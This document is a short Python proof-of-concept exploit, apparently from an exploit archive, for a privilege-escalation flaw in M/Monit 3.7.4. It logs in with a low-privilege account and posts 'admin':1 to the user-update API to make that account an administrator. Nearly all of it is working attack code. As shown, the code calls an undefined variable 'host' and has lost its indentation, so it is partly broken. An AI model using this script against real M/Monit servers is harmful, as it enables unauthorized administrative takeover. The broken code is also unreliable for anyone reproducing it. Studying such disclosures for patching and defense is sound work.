M/Monit 3.7.4 Privilege Escalation

`# Title: M/Monit 3.7.4 - Privilege Escalation  
# Author: Dolev Farhi  
# Date: 2020-07-09  
# Vendor Homepage: https://mmonit.com/  
# Version : 3.7.4  
  
import sys  
import requests  
  
url = 'http://your_ip_here:8080'  
username = 'test'  
password = 'test123'  
  
sess = requests.Session()  
sess.get(host)  
  
def login():  
print('Attempting to login...')  
data = {  
'z_username':username,  
'z_password':password  
}  
headers = {  
'Content-Type':'application/x-www-form-urlencoded'  
}  
  
resp = sess.post(url + '/z_security_check', data=data, headers=headers)  
if resp.ok:  
print('Logged in successfully.')  
else:  
print('Could not login.')  
sys.exit(1)  
  
def privesc():  
data = {  
'uname':username,  
'fullname':username,  
'password':password,  
'admin':1  
}  
resp = sess.post(url + '/api/1/admin/users/update', data=data)  
  
if resp.ok:  
print('Escalated to administrator.')  
else:  
print('Unable to escalate to administrator.')  
  
return  
  
if __name__ == '__main__':  
login()  
privesc()  
`